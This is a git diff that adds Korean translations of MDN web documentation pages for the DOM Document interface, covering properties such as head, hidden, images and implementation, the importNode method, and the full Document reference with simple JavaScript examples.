+ + diff --git a/files/ko/web/api/document/head/index.html b/files/ko/web/api/document/head/index.html new file mode 100644 index 0000000000..6beb5b59a3 --- /dev/null +++ b/files/ko/web/api/document/head/index.html @@ -0,0 +1,69 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/head +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 head 읽기 전용 속성은 현재 문서의 {{htmlelement("head")}} 요소를 나타냅니다.

+ +

예제

+ +
<!doctype html>
+<head id="my-document-head">
+  <title>Example: using document.head</title>
+</head>
+
+<script>
+  let theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+  console.log(theHead === document.querySelector("head")); // true
+</script>
+ +

참고

+ +

Document.head는 읽기 전용입니다. 값을 할당하려고 시도하면 조용히 실패하거나, 엄격 모드에서는 {{jsxref("TypeError")}}가 발생합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML WHATWG')}}Initial definition.
{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5 W3C')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.head")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/hidden/index.html b/files/ko/web/api/document/hidden/index.html new file mode 100644 index 0000000000..13c6f0a5da --- /dev/null +++ b/files/ko/web/api/document/hidden/index.html @@ -0,0 +1,26 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - API + - Document + - Property + - Reference +translation_of: Web/API/Document/hidden +--- +
{{ ApiRef("DOM") }}
+ +

Document.hidden 읽기 전용 속성은 페이지가 숨겨졌는지 여부를 {{jsxref("Boolean")}} 값으로 나타냅니다.

+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});
+ +

명세

+ + + +

{{Compat("api.Document.hidden")}}

diff --git a/files/ko/web/api/document/images/index.html b/files/ko/web/api/document/images/index.html new file mode 100644 index 0000000000..702ad66bc5 --- /dev/null +++ b/files/ko/web/api/document/images/index.html @@ -0,0 +1,52 @@ +--- +title: Document.images +slug: Web/API/Document/images +translation_of: Web/API/Document/images +--- +
{{APIRef("DOM")}}
+ +

document.images 는 현재 HTML document 내부의 images collection을 반환합니다.

+ +

Syntax

+ +
var htmlCollection = document.images;
+ +

Example

+ +
var ilist = document.images;
+
+for(var i = 0; i < ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+        // found the banner
+    }
+}
+ +

Notes

+ +

document.images.length – 페이지의 이미지 갯수를 반환하는 속성

+ +

document.images 는 DOM HTML의 part이며, HTML documents 에서만 지원된다.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}{{ Spec2('DOM2 Events') }}Initial definition.
diff --git a/files/ko/web/api/document/implementation/index.html b/files/ko/web/api/document/implementation/index.html new file mode 100644 index 0000000000..79b50f451e --- /dev/null +++ b/files/ko/web/api/document/implementation/index.html @@ -0,0 +1,55 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +
{{ ApiRef("DOM") }}
+ +

현재 document에 연관된 {{domxref("DOMImplementation")}} 객체를 반환합니다.

+ +

Syntax

+ +
DOMImpObj = document.implementation;
+
+ +

Example

+ +
var modName = "HTML";
+var modVer = "2.0";
+var conformTest = document.implementation.hasFeature( modName, modVer );
+
+alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
+
+// alerts with: "DOM HTML 2.0 supported?: true" if DOM Level 2 HTML module is supported.
+
+ +

모듈 네임 목록(예: Core, HTML, XML, 등등)은 DOM Level 2 Conformance 섹션에서 확인하실 수 있습니다.

+ +

Notes

+ +

W3C의 DOM Level 1 권고안에는 DOM 모듈을 브라우저에서 지원하는지를 확인하는 방법 중 하나인 hasFeature 메소드만 명시되어 있습니다(위 예제와 What does your user agent claim to support? 문서를 확인하세요). 사용이 가능한 경우, 다른 DOMImplementation 메소드들이 단일 document 외부의 것들을 컨트롤하기 위한 서비스들을 제공합니다. 예를 들어, DOMImplementation 인터페이스는 createDocumentType 메소드와 implementation에 의해 관리되는 하나 이상의 document를 위해 생성되는 DTD가 무엇인지를 포함합니다.

+ +

Specification

+ + + +

Browser compatibility

+ + + +

{{Compat("api.Document.implementation")}}

+ +

Gecko-specific notes

+ + diff --git a/files/ko/web/api/document/importnode/index.html b/files/ko/web/api/document/importnode/index.html new file mode 100644 index 0000000000..18be48039f --- /dev/null +++ b/files/ko/web/api/document/importnode/index.html @@ -0,0 +1,67 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +

{{APIRef("DOM")}}

+ +

설명

+ +

현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다.

+ +

문법

+ +
var node = document.importNode(externalNode, deep);
+
+ +
+
node
+
문서에 추가될 새로운 노드입니다. 새로운 노드가 문서 트리에 추가되기 전까지, 새로운 노드의 parentNode는 null입니다.
+
externalNode
+
다른 문서에서 가져올 노드입니다.
+
deep
+
불리언 타입을 가지며, 다른 문서에서 노드를 가져올 때 노드의 자식 요소들을 포함하여 가져올 것인지에 대한 여부를 결정합니다.
+
+ +
+

Note: DOM4 스펙 (Gecko 13.0 {{geckoRelease(13)}}에서 적용되어 있습니다)에서, deep은 선택적 인자입니다. 만약 해당 속성을 생략한다면, 함수는 자동으로 deep을 true로 인식하여 작동하게 되고, 기본 동작을 하게 됩니다. 만약 자식 노드를 포함하지 않은 해당 노드만 가져오고싶다면, 반드시 deep인자에 false를 주시길 바랍니다.

+ +

이러한 동작 방식은 최신 스펙에서 변경되었고, 만약 deep 속성을 생략하면, 함수는 자동으로 deep을 false로 인식하여 동작합니다. 비록 deep 속성이 선택적 속성이라고 해도, 당신은 항상 deep 속성을 상호 호환성을 위하여 제공하는 것이 좋습니다. Gecko 28.0 {{geckoRelease(28)}} 버전부터, deep속성을 입력하지 않을 경우 콘솔에서 에러를 반환합니다.

+
+ +

예제

+ +
var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+
+ +

Notes

+ +

오리지널 노드는 오리지널 문서에서 삭제되지 않습니다. 추가된 노드는 오리지널 노드의 복사본입니다.

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they can be inserted into the current document. For more on the Node.ownerDocument issues, see the W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.

+ +

브라우저 지원율

+ +
+ + +

{{Compat("api.Document.importNode")}}

+
+ +

관련문서

+ + + +

참고

+ + diff --git a/files/ko/web/api/document/index.html b/files/ko/web/api/document/index.html new file mode 100644 index 0000000000..f26cb7a526 --- /dev/null +++ b/files/ko/web/api/document/index.html @@ -0,0 +1,480 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - Interface + - Reference +translation_of: Web/API/Document +--- +
{{APIRef("DOM")}}
+ +

Document 인터페이스는 브라우저가 불러온 웹 페이지를 나타내며, 페이지 콘텐츠(DOM 트리)의 진입점 역할을 수행합니다. DOM 트리는 {{HTMLElement("body")}}와 {{HTMLElement("table")}} 및 여러 다른 요소를 포함합니다. Document는 페이지의 URL을 얻거나 문서에 새로운 요소를 생성하는 등의 기능을 전역적으로 제공합니다.

+ +

{{inheritanceDiagram}}

+ +

Document 인터페이스는 모든 종류의 문서에 대한 공통의 속성과 메서드를 묘사합니다. 문서의 유형(HTML, XML, SVG 등)에 따라서 더 다양한 API가 존재합니다. 예컨대 "text/html" 콘텐츠 유형으로 제공되는 HTML 문서는 {{domxref("HTMLDocument")}} 인터페이스도 구현하는 반면, XML과 SVG 문서는 {{domxref("XMLDocument")}} 인터페이스를 구현합니다.

+ +

생성자

+ +
+
{{domxref("Document.Document","Document()")}} {{non-standard_inline}}
+
새로운 Document 객체를 생성합니다.
+
+ +

속성

+ +

Documet는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.

+ +
+
{{domxref("Document.anchors")}} {{readonlyinline}}
+
문서 내 모든 앵커의 목록을 반환합니다.
+
{{domxref("Document.body")}}
+
현재 문서의 {{HTMLElement("body")}} 또는 {{htmlelement("frameset")}} 노드를 반환합니다.
+
{{domxref("Document.characterSet")}} {{readonlyinline}}
+
문서에서 사용하는 캐릭터셋을 반환합니다.
+
{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}
+
문서의 렌더링 모드가 Quirks와 Strict 중 어떤 것인지 반환합니다.
+
{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}
+
현재 문서의 MIME 헤더로부터 Content-Type을 반환합니다.
+
{{domxref("Document.doctype")}} {{readonlyinline}}
+
현재 문서의 문서 형식 정의(Document Type Definition, DTD)를 반환합니다.
+
{{domxref("Document.documentElement")}} {{readonlyinline}}
+
문서의 직속 자식인 {{domxref("Element")}}를 반환합니다. HTML 문서에서는 보통 {{HTMLElement("html")}} 요소를 나타내는 {{domxref("HTMLHtmlElement")}} 객체입니다.
+
{{domxref("Document.documentURI")}} {{readonlyinline}}
+
문서의 위치를 문자열로 반환합니다.
+
{{domxref("Document.embeds")}} {{readonlyinline}}
+
현재 문서에 포함된 {{HTMLElement("embed")}} 요소 목록을 반환합니다.
+
{{domxref("Document.fonts")}}
+
현재 문서의 {{domxref("FontFaceSet")}} 인터페이스를 반환합니다.
+
{{domxref("Document.forms")}} {{readonlyinline}}
+
현재 문서의 {{HTMLElement("form")}} 요소 목록을 반환합니다.
+
{{domxref("Document.head")}} {{readonlyinline}}
+
현재 문서의 {{HTMLElement("head")}} 요소를 반환합니다.
+
{{domxref("Document.hidden")}} {{readonlyinline}}
+
현재 문서의 숨김 여부를 반환합니다.
+
{{domxref("Document.images")}} {{readonlyinline}}
+
현재 문서의 이미지 목록을 반환합니다.
+
{{domxref("Document.implementation")}} {{readonlyinline}}
+
현재 문서와 연관된 DOM 구현을 반환합니다.
+
{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}
+
마지막에 활성화된 스타일 시트 세트의 이름을 반환합니다. {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} 값을 설정하여 스타일 시트가 변경되기 전에는 null 값을 갖습니다.
+
{{domxref("Document.links")}} {{readonlyinline}}
+
문서의 모든 하이퍼링크 목록을 반환합니다.
+
{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}}
+
문서가 synthetic, 즉 단일 이미지, 비디오, 오디오 파일이나 이와 비슷한 것인 경우 {{jsxref("Boolean")}} true를 반환합니다.
+
{{domxref("Document.plugins")}} {{readonlyinline}}
+
사용 가능한 플러그인의 목록을 반환합니다.
+
{{domxref("Document.policy")}} {{readonlyinline}} {{experimental_inline}}
+
특정 문서에 적용되는 기능 정책을 자성하기 위한 간단한 API 를 제공하는 {{domxref("Policy")}} 인터페이스를 반환합니다.
+
{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}
+
페이지 작성자가 지정한 선호 스타일 시트 세트를 반환합니다.
+
{{domxref("Document.scripts")}} {{readonlyinline}}
+
문서의 모든 {{HTMLElement("script")}} 요소를 반환합니다.
+
{{domxref("Document.scrollingElement")}} {{readonlyinline}}
+
문서를 스크롤 하는 {{domxref("Element")}}에 대한 참조를 반환합니다.
+
{{domxref("Document.selectedStyleSheetSet")}}
+
현재 사용 중인 스타일 시트 세트를 반환합니다.
+
{{domxref("Document.styleSheetSets")}} {{readonlyinline}}
+
문서에서 사용 가능한 스타일 시트 세트의 목록을 반환합니다.
+
{{domxref("Document.timeline")}} {{readonlyinline}}
+
페이지 로드 시 자동으로 생성하는 {{domxref("DocumentTimeline")}}의 인스턴스를 반환합니다.
+
{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}
+
+
{{domxref("Document.visibilityState")}} {{readonlyinline}}
+
문서의 표시 상태를 나타내는 문자열을 반환합니다. 가능한 값은 visible, hidden, prerender, unloaded입니다.
+
+ +

Document 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.

+ +

{{page("/ko/docs/Web/API/ParentNode","속성")}}

+ +

HTMLDocument 확장

+ +

HTML 문서를 위한 Document 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.

+ +
+
{{domxref("Document.cookie")}}
+
문서의 쿠키 리스트를 세미콜론으로 분리해 반환하거나, 하나의 쿠키를 설정합니다.
+
{{domxref("Document.defaultView")}} {{readonlyinline}}
+
{{domxref("Window")}} 객체의 참조를 반환합니다.
+
{{domxref("Document.designMode")}}
+
문서 전체의 수정 가능 여부를 설정/반환합니다.
+
{{domxref("Document.dir")}}
+
문서의 쓰기 방향(rtl/ltr)을 설정/반환합니다.
+
{{domxref("Document.domain")}}
+
현재 문서의 도메인을 설정/반환합니다.
+
{{domxref("Document.lastModified")}} {{readonlyinline}}
+
문서가 마지막으로 수정된 날짜를 반환합니다.
+
{{domxref("Document.location")}} {{readonlyinline}}
+
현재 문서의 URI를 반환합니다.
+
{{domxref("Document.readyState")}} {{readonlyinline}}
+
문서의 불러오기 상태를 반환합니다.
+
{{domxref("Document.referrer")}} {{readonlyinline}}
+
현재 페이지로 연결한 페이지의 URI를 반환합니다.
+
{{domxref("Document.title")}}
+
문서의 제목을 설정하거나 반환합니다.
+
{{domxref("Document.URL")}} {{readonlyInline}}
+
문서의 위치를 문자열로 반환합니다.
+
+ +

DocumentOrShadowRoot에서 포함한 속성

+ +

Document 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인이 정의하는 다음의 속성을 포함합니다. 지금은 Chrome만 DocumentOrShadowRoot 믹스인으로 구현한 상태라는 점에 유의하세요. 다른 브라우저는 Document 인터페이스에 직접 구현합니다.

+ +
+
{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}
+
섀도 트리 내에서 포커스를 가진 {{domxref('Element')}} 를 반환합니다.
+
{{domxref("Document.fullscreenElement")}} {{readonlyinline}}
+
현재 문서에서 전체 화면 모드 중인 요소를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}
+
포인터가 잠긴 동안 마우스 이벤트의 대상으로 설정한 요소를 반환합니다. 잠금 대기 중이거나, 포인터의 잠금이 해제됐거나, 대상이 다른 문서에 존재하는 경우 null입니다.
+
{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}
+
문서가 포함하거나 명시적으로 연결한 스타일 시트를 나타내는, {{domxref("CSSStyleSheet")}}의 {{domxref("StyleSheetList")}} 객체를 반환합니다.
+
+ +

이벤트 처리기

+ +
+
{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}
+
{{event("afterscriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}
+
{{event("beforescriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.oncopy")}} {{non-standard_inline}}
+
{{event("copy")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.oncut")}} {{non-standard_inline}}
+
{{event("cut")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onfullscreenchange")}}
+
{{event("fullscreenchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onfullscreenerror")}}
+
{{event("fullscreenerror")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onpaste")}} {{non-standard_inline}}
+
{{event("paste")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onreadystatechange")}}
+
{{event("readystatechange")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onselectionchange")}} {{experimental_inline}}
+
{{event("selectionchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onvisibilitychange")}}
+
{{event("visibilitychange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
+ +

Document 인터페이스는 {{domxref("GlobalEventHandlers")}} 인터페이스를 확장합니다.

+ +

{{Page("/ko/docs/Web/API/GlobalEventHandlers", "속성")}}

+ +

사용하지 않는 속성

+ +
+
{{domxref("Document.alinkColor")}} {{Deprecated_inline}}
+
다큐먼트 바디에 있는 활성 링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}
+
다큐먼트의 모든 엘리먼트로의 접근을 제공합니다. 레거시이며 비표준 속성이므로 사용되면 안됩니다.
+
{{domxref("Document.applets")}} {{Deprecated_inline}} {{readonlyinline}}
+
다큐먼트에 있는 애플릿의 정렬된 리스트를 반환합니다.
+
{{domxref("Document.async")}} {{Deprecated_inline}}
+
{{domxref("Document.load")}} 와 사용되어 비동기 요청을 나타냅니다.
+
{{domxref("Document.bgColor")}} {{Deprecated_inline}}
+
현재 다큐먼트의 배경 색상을 설정하거나 반환합니다.
+
{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}
+
{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.
+
{{domxref("Document.domConfig")}} {{Deprecated_inline}}
+
{{domxref("DOMConfiguration")}} 객체를 반환합니다.
+
{{domxref("document.fgColor")}} {{Deprecated_inline}}
+
현재 다큐먼트의 foreground 색상이나 텍스트 색상을 설정하거나 반환합니다.
+
{{domxref("Document.fullscreen")}} {{obsolete_inline}}
+
다큐먼트가 {{domxref("Using_full-screen_mode","full-screen mode")}}에 있을 때 true 를 반환합니다.
+
{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}
+
현재 다큐먼트의 높이를 설정하거나 반환합니다.
+
{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}
+
{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.
+
{{domxref("Document.linkColor")}} {{Deprecated_inline}}
+
다큐먼트내 하이퍼링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}
+
방문한 하이퍼링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}
+
현재 다큐먼트의 너비를 반환합니다.
+
{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}
+
XML 선언으로 결정된 인코딩을 반환합니다.
+
{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}
+
XML 선언이 다큐먼트를 독립되도록 지정하면 true 를(예, DTD 의 외부가 다큐먼트의 컨텐츠에 영향을 줌), 그렇지 않은 경우 false 를 반환합니다.
+
{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}
+
XML 선언에 명시된 버전 넘버를 반환합니다. 선언에 명시되어 있지 않은 경우, "1.0" 을 반환합니다.
+
+ +

메서드

+ +

Documet는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.

+ +
+
{{domxref("Document.adoptNode()")}}
+
외부 문서로부터 노드를 가져옵니다.
+
{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}
+
{{domxref("Window.captureEvents")}}를 확인하세요.
+
{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}
+
지정한 좌표에 위치한 문서 프래그먼트에 대한 {{domxref("Range")}} 객체를 반환합니다.
+
{{domxref("Document.createAttribute()")}}
+
새로운 {{domxref("Attr")}} 객체를 생성하고 반환합니다.
+
{{domxref("Document.createAttributeNS()")}}
+
주어진 네임스페이스에 새로운 속성 노드를 생성하고 반환합니다.
+
{{domxref("Document.createCDATASection()")}}
+
새로운 CDATA 노드를 생성하고 반환합니다.
+
{{domxref("Document.createComment()")}}
+
새로운 주석 노드를 생성하고 반환합니다.
+
{{domxref("Document.createDocumentFragment()")}}
+
새로운 문서 조각을 생성합니다.
+
{{domxref("Document.createElement()")}}
+
주어진 태그명을 사용해 새로운 요소를 생성합니다.
+
{{domxref("Document.createElementNS()")}}
+
주어진 태그명과 네임스페이스 URI를 갖는 새로운 요소를 생성합니다.
+
{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}
+
새로운 개체 참조를 생성하고 반환합니다.
+
{{domxref("Document.createEvent()")}}
+
이벤트 객체를 생성합니다.
+
{{domxref("Document.createNodeIterator()")}}
+
{{domxref("NodeIterator")}} 객체를 생성합니다.
+
{{domxref("Document.createProcessingInstruction()")}}
+
새로운 {{domxref("ProcessingInstruction")}} 객체를 생성합니다.
+
{{domxref("Document.createRange()")}}
+
{{domxref("Range")}} 객체를 생성합니다.
+
{{domxref("Document.createTextNode()")}}
+
텍스트 노드를 생성합니다.
+
{{domxref("Document.createTouch()")}} {{Deprecated_inline}}
+
{{domxref("Touch")}} 객체를 생성합니다.
+
{{domxref("Document.createTouchList()")}}
+
{{domxref("TouchList")}} 객체를 생성합니다.
+
{{domxref("Document.createTreeWalker()")}}
+
{{domxref("TreeWalker")}} 객체를 생성합니다.
+
{{domxref("Document.enableStyleSheetsForSet()")}}
+
지정한 스타일 시트 세트의 스타일 시트를 활성화합니다.
+
{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}
+
포인터 잠금을 해제합니다.
+
{{domxref("Document.getAnimations()")}} {{experimental_inline}}
+
문서의 자손 요소를 대상으로 하고, 현재 실행 중인 모든 {{domxref("Animation")}} 객체를 배열로 반환합니다.
+
{{domxref("Document.getElementsByClassName()")}}
+
주어진 클래스 이름을 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.getElementsByTagName()")}}
+
주어진 태그명을 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.getElementsByTagNameNS()")}}
+
주어진 태그명과 네임스페이스를 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.hasStorageAccess()")}}
+
문서가 퍼스트파티first-party 저장소에 접근할 수 있는지 나타내는 {{jsxref("Boolean")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Document.importNode()")}}
+
외부 문서의 노드 복제본을 반환합니다.
+
{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}
+
개체 대체, 텍스트 노드 정규화 등의 작업을 실행합니다.
+
{{domxref("Document.releaseCapture()")}} {{non-standard_inline}}
+
문서의 요소에 현재 마우스 캡쳐가 있다면 이를 해제합니다.
+
{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
{{domxref("Window.releaseEvents()")}}를 확인하세요.
+
{{domxref("Document.requestStorageAccess()")}}
+
퍼스트파티first-party 저장소로의 접근이 가능한 경우 이행하고 불가능한 경우 거부하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}
+
{{domxref("Window.routeEvent()")}}를 확인하세요.
+
{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}}
+
지정한 요소 ID를 위한 배경 이미지로 사용되도록 요소 변경을 허용합니다.
+
+ +

Document 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.

+ +
+
{{domxref("document.getElementById()")}}
+
주어진 ID를 가진 요소의 참조를 반환합니다.
+
{{domxref("document.querySelector()")}}
+
문서 내에서 주어진 선택자를 만족하는 첫 번째 {{jsxref("Element")}}를 반환합니다.
+
{{domxref("document.querySelectorAll()")}}
+
주어진 선택자를 만족하는 모든 요소의 {{jsxref("NodeList")}}를 반환합니다.
+
+ +

Document 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.

+ +
+
{{domxref("document.createExpression()")}}
+
나중에 (여러 번) 평가할 수 있도록 XPathExpression을 컴파일합니다.
+
{{domxref("document.createNSResolver()")}}
+
{{domxref("XPathNSResolver")}} 객체를 생성합니다.
+
{{domxref("document.evaluate()")}}
+
XPath 표현을 평가합니다.
+
+ +

HTML 문서의 확장

+ +

HTML 문서를 위한 Document 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.

+ +
+
{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
최근의 Firefox와 Internet Explorer를 포함하는 주요 최신 브라우저에서, 이 메소드는 아무것도 하지 않습니다.
+
{{domxref("document.close()")}}
+
작성을 위한 문서 스트림을 닫습니다.
+
{{domxref("document.execCommand()")}}
+
수정 가능한 문서에서 서식 명령을 실행합니다.
+
{{domxref("document.getElementsByName()")}}
+
주어진 이름을 갖는 요소의 목록을 반환합니다.
+
{{domxref("document.hasFocus()")}}
+
포커스가 지정한 문서 내 어느 곳이든 위치한 경우 true를 반환합니다.
+
{{domxref("document.open()")}}
+
작성을 위한 문서 스트림을 엽니다.
+
{{domxref("document.queryCommandEnabled()")}}
+
현재 범위에서 서식 명령을 실행할 수 있다면 true를 반환합니다.
+
{{domxref("document.queryCommandIndeterm()")}}
+
현재 범위에서 서식 명령의 상태를 알 수 없으면 true를 반환합니다.
+
{{domxref("document.queryCommandState()")}}
+
현재 범위에서 서식 명령을 실행했다면 true를 반환합니다.
+
{{domxref("document.queryCommandSupported()")}}
+
현재 범위에서 서식 명령이 지원된다면 true를 반환합니다.
+
{{domxref("document.queryCommandValue()")}}
+
현재 범위에서 서식 명령을 위한 현재 값을 반환합니다.
+
{{domxref("document.write()")}}
+
문서에 텍스트를 작성합니다.
+
{{domxref("document.writeln()")}}
+
문서에 텍스트 한 줄을 작성합니다.
+
+ +

DocumentOrShadowRoot로부터 포함된 메소드

+ +

Document 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인mixin이 정의하는 다음의 메서드를 포함합니다. 지금은 Chrome만 구현한 상태라는 점에 유의하세요. 다른 브라우저는 Document 인터페이스에 구현 중입니다.

+ +
+
{{domxref("DocumentOrShadowRoot.getSelection()")}}
+
사용자에의해 선택된 텍스트의 범위 또는 캐럿의 현재 위치를 나타내는 {{domxref('Selection')}} 객체를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}
+
지정한 위치에 있는 최상단 엘리먼트를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}
+
지정한 위치에 있는 모든 엘리먼트의 배열을 반환합니다.
+
{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
캐럿을 포함하는 DOM 노드와 그 노드내 캐첫의 문자 오프셋을 포함하는 {{domxref('CaretPosition')}} 객체를 반환합니다.
+
+ +

비표준 확장 {{non-standard_inline}}

+ +

{{non-standard_header}}

+ +

Firefox 노트

+ +

Mozilla는 XUL 컨텐츠만을 위해 만들어진 비표준 속성의 집합을 정의합니다.

+ +
+
{{domxref("document.currentScript")}} {{non-standard_inline}}
+
현재 실행중인 {{HTMLElement("script")}} 엘리먼트를 반환합니다.
+
{{domxref("document.documentURIObject")}}
+
(Mozilla 부가 기능 전용!) 다큐먼트의 URI 를 나타내는 {{Interface("nsIURI")}} 객체를 반환합니다. 이 속성은 권한을 가진 자바스크립트 코드(UniversalXPConnect 권한을 갖는)에서만 특별한 의미를 갖습니다.
+
{{domxref("document.popupNode")}}
+
팝업이 불려진 노드를 반환합니다.
+
{{domxref("document.tooltipNode")}}
+
현재 툴팁의 대상이되는 노드를 반환합니다.
+
+ +

Mozilla 는 또한 일부 비표준 메소드를 정의합니다.

+ +
+
{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}
+
이 메소드는 아무것도 하지 않았지만 항상 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.
+
{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}
+
{{domxref("Element.getBoundingClientRect()")}} 메소드를 대신 사용하세요.
+
{{domxref("document.loadOverlay")}}
+
XUL 오버레이를 동적으로 로드합니다. XUL 다큐먼트에서만 동작합니다.
+
{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}
+
이 메소드는 아무것도 하지 않았지만 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.
+
+ +

Internet Explorer 노트

+ +

Microsoft는 일부 비표준 속성을 정의합니다.

+ +
+
{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}
+
Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.
+
+ +

Internet Explorer는 Document 인터페이스내 Node 인터페이스의 모든 메소드를 지원하지 않습니다:

+ +
+
{{domxref("document.contains")}}
+
대안으로 document.body.contains() 를 사용할 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
